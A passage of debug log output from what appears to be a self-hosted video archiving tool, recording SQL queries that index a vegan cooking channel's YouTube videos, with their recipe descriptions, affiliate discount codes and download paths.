\u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nFULL RECIPE ON BLOG SOON!\n\nLentil taco meat, serves 4 (approx 3 tacos each)\n485 cal, 28g protein, 45g carbs, 25g fat\n\n1 cup dry lentils (brown, green, black)**\n8 oz cremini mushrooms, finely chopped\n1 cup chopped walnuts\n½ large onion, finely chopped\n4 cloves garlic, minced\n¼ cup hemp seeds\n¼ cup nooch\n2 tbsp tomato paste\n2 tbsp soy sauce\n2 tsp smoked paprika\n2 tsp chili powder\n1 tsp cumin\n1 tsp garlic powder\n1 tsp onion powder\n1 tsp oregano\n2 cups veggie broth\n1 bay leaf\n\n1. Roughly chop the walnuts into a meat-like crumble texture, and rinse and drain your uncooked lentils.\n2. Warm 1 tbsp oil in a large skillet and saute the onion and garlic are softened, about 3 minutes. Then add the mushrooms and cook down for a further 5 minutes, until they’ve reduced by about half.\n3. Stir in the tomato paste, spices, walnuts, soy sauce and hemp seeds and cook for a further 2 minutes.\n4. Add the lentils and veggie broth plus the bay leaf, stir to combine, cover and bring to a simmer. Then lower heat to medium-low and cook for 20 to 25 minutes, until most of the liquid has cooked off.\nUncover the lid and continue cooking until all the liquid has absorbed and the lentils are tender.\n\n*If using black lentils, I recommend soaking for 6 hours to ensure they cook properly. Or, if you don't have time to soak, increase the water/broth to 3 cups*\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A (truncated) 20:31:06.723 [debug] QUERY OK source="sources" db=1.0ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.725 [debug] QUERY OK source="media_items" db=1.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-22 00:00:00Z], 1] 20:31:06.727 [debug] QUERY OK source="media_items" db=1.3ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This one pot vegan paella is a super easy vegan recipe and packs 31g of protein per serving. If you're looking for something a little different in your weekly vegan meal prep then consider adding this delicious high protein meal! \n\nGET THE RECIPE ON MY BLOG ➡️ https://steamyvegan.com/vegan-paella/\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High-Protein One Pot Paella (vegan and gluten free recipe)", "3eca52dc-20a1-44d3-a884-ed6dd356ce81", 1, [], false, "mA1PpdP6_vw", "https://www.youtube.com/watch?v=mA1PpdP6_vw", 80, "/downloads/downloads/alec/Steamy Vegan/2025-06-22 High-Protein One Pot Paella (vegan and gluten free recipe)/High-Protein One Pot Paella (vegan and gluten free recipe) [mA1PpdP6_vw].NA", false, false, false, 1, ~U[2025-06-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This one pot vegan paella is a super easy vegan recipe and packs 31g of protein per serving. If you're looking for something a little different in your weekly vegan meal prep then consider adding this delicious high protein meal! \n\nGET THE RECIPE ON MY BLOG ➡️ https://steamyvegan.com/vegan-paella/\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High-Protein One Pot Paella (vegan and gluten free recipe)", 1, nil, false, "mA1PpdP6_vw", "https://www.youtube.com/watch?v=mA1PpdP6_vw", "/downloads/downloads/alec/Steamy Vegan/2025-06-22 High-Protein One Pot Paella (vegan and gluten free recipe)/High-Protein One Pot Paella (vegan and gluten free recipe) [mA1PpdP6_vw].NA", false, ~U[2025-06-22 00:00:00Z]] 20:31:06.728 [debug] QUERY OK source="sources" db=0.6ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.731 [debug] QUERY OK source="media_items" db=2.2ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-19 00:00:00Z], 1] 20:31:06.733 [debug] QUERY OK source="media_items" db=1.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this 90 minute high protein vegan meal prep, I'll show you how to make 3 days of vegan recipes that reach 100g of protein and 1800 calories per day. These are summer vegan recipes that are perfect to add to your weekly meal prepping! \n\nGET THE FULL MEAL PREP BLOG HERE! ➡️ https://steamyvegan.com/high-protein-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n🍓Want more STRAWBERRY RHUBARB recipes?👇🏻\nStrawberry Rhubarb High Protein Overnight Oats: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Overnight\u00A0Oats!\u00A0💪🏼🥣\u00A0Healthy...\u00A0\u00A0\nStrawberry Rhubarb Squares: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Desserts\u00A0-\u00A0Strawberry...\u00A0\u00A0\nStrawberry Rhubarb Crumble: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0GF\u00A0Strawberry\u00A0Rhubarb\u00A0Crumble\u00A0\u00A0\nStrawberry Rhubarb Pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week)", "69dd1427-7bb0-453f-bca5-cec5e0dea266", 1, [], false, "Xu2S2ecSx6k", "https://www.youtube.com/watch?v=Xu2S2ecSx6k", 81, "/downloads/downloads/alec/Steamy Vegan/2025-06-19 90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week)/90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week) [Xu2S2ecSx6k].NA", false, false, false, 1, ~U[2025-06-19 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this 90 minute high protein vegan meal prep, I'll show you how to make 3 days of vegan recipes that reach 100g of protein and 1800 calories per day. These are summer vegan recipes that are perfect to add to your weekly meal prepping! \n\nGET THE FULL MEAL PREP BLOG HERE! ➡️ https://steamyvegan.com/high-protein-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n🍓Want more STRAWBERRY RHUBARB recipes?👇🏻\nStrawberry Rhubarb High Protein Overnight Oats: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Overnight\u00A0Oats!\u00A0💪🏼🥣\u00A0Healthy...\u00A0\u00A0\nStrawberry Rhubarb Squares: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Desserts\u00A0-\u00A0Strawberry...\u00A0\u00A0\nStrawberry Rhubarb Crumble: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0GF\u00A0Strawberry\u00A0Rhubarb\u00A0Crumble\u00A0\u00A0\nStrawberry Rhubarb Pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week)", 1, nil, false, "Xu2S2ecSx6k", "https://www.youtube.com/watch?v=Xu2S2ecSx6k", "/downloads/downloads/alec/Steamy Vegan/2025-06-19 90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week)/90-Minute High Protein Vegan Meal Prep for Summer ☀️ (What I Eat in a Week) [Xu2S2ecSx6k].NA", false, ~U[2025-06-19 00:00:00Z]] 20:31:06.734 [debug] QUERY OK source="sources" db=1.1ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.736 [debug] QUERY OK source="media_items" db=1.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 00:00:00Z], 1] 20:31:06.738 [debug] QUERY OK source="media_items" db=0.9ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you love healthy desserts or high protein desserts then you're going to be obsessed with this easy vegan recipe! These Strawberry Rhubarb Squares have a secret ingredient that gives them 10g protein and 8g fiber per serving, while only being 260 calories! A perfectly refreshing summery treat that the whole family will love.\n\nGet the recipe on my blog! 👇🏻\nSTRAWBERRY RHUBARB SQUARES (SECRET INGREDIENT!) ➡️ https://steamyvegan.com/strawberry-rh...\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy High Protein Desserts - Strawberry Rhubarb Squares", "3c435e54-a6e9-4418-b651-ce42f3e9352a", 1, [], false, "3JAl63j0F-I", "https://www.youtube.com/watch?v=3JAl63j0F-I", 82, "/downloads/downloads/alec/Steamy Vegan/2025-06-14 Healthy High Protein Desserts - Strawberry Rhubarb Squares/Healthy High Protein Desserts - Strawberry Rhubarb Squares [3JAl63j0F-I].NA", false, false, false, 1, ~U[2025-06-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "If you love healthy desserts or high protein desserts then you're going to be obsessed with this easy vegan recipe! These Strawberry Rhubarb Squares have a secret ingredient that gives them 10g protein and 8g fiber per serving, while only being 260 calories! A perfectly refreshing summery treat that the whole family will love.\n\nGet the recipe on my blog! 👇🏻\nSTRAWBERRY RHUBARB SQUARES (SECRET INGREDIENT!) ➡️ https://steamyvegan.com/strawberry-rh...\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy High Protein Desserts - Strawberry Rhubarb Squares", 1, nil, false, "3JAl63j0F-I", "https://www.youtube.com/watch?v=3JAl63j0F-I", "/downloads/downloads/alec/Steamy Vegan/2025-06-14 Healthy High Protein Desserts - Strawberry Rhubarb Squares/Healthy High Protein Desserts - Strawberry Rhubarb Squares [3JAl63j0F-I].NA", false, ~U[2025-06-14 00:00:00Z]] 20:31:06.739 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.740 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 00:00:00Z], 1] 20:31:06.742 [debug] QUERY OK source="media_items" db=1.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making 2 high protein overnight oats recipes in todays video, all healthy breakfast ideas and great for vegan meal prep! If you're trying to eat more high protein vegan meals these overnight oats recipes are for you! We're making Strawberry Rhubarb and Blueberry Lemon, both perfect summer breakfast ideas ☀️🥣\n\nRECIPES ON MY BLOG 💋 https://steamyvegan.com/2-high-protei...\n\nDiscount Codes for Products Used in This Episode\n\n💪🏼 Sunwarrior Plant-based Protein Powder: Save 15% off your first order (Available in the US, Canada, UK, South Africa, UAE, and Australia)\nCode: JANELLEC\nLink 🔗 https://sunwarrior.com/pages/ambassad...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas", "1627cae6-f4c3-4357-bde5-604bd0393487", 1, [], false, "t9Oo8ezOvyI", "https://www.youtube.com/watch?v=t9Oo8ezOvyI", 83, "/downloads/downloads/alec/Steamy Vegan/2025-06-11 2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas/2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas [t9Oo8ezOvyI].NA", false, false, false, 1, ~U[2025-06-11 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "We're making 2 high protein overnight oats recipes in todays video, all healthy breakfast ideas and great for vegan meal prep! If you're trying to eat more high protein vegan meals these overnight oats recipes are for you! We're making Strawberry Rhubarb and Blueberry Lemon, both perfect summer breakfast ideas ☀️🥣\n\nRECIPES ON MY BLOG 💋 https://steamyvegan.com/2-high-protei...\n\nDiscount Codes for Products Used in This Episode\n\n💪🏼 Sunwarrior Plant-based Protein Powder: Save 15% off your first order (Available in the US, Canada, UK, South Africa, UAE, and Australia)\nCode: JANELLEC\nLink 🔗 https://sunwarrior.com/pages/ambassad...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n\nFIND ME IN OTHER 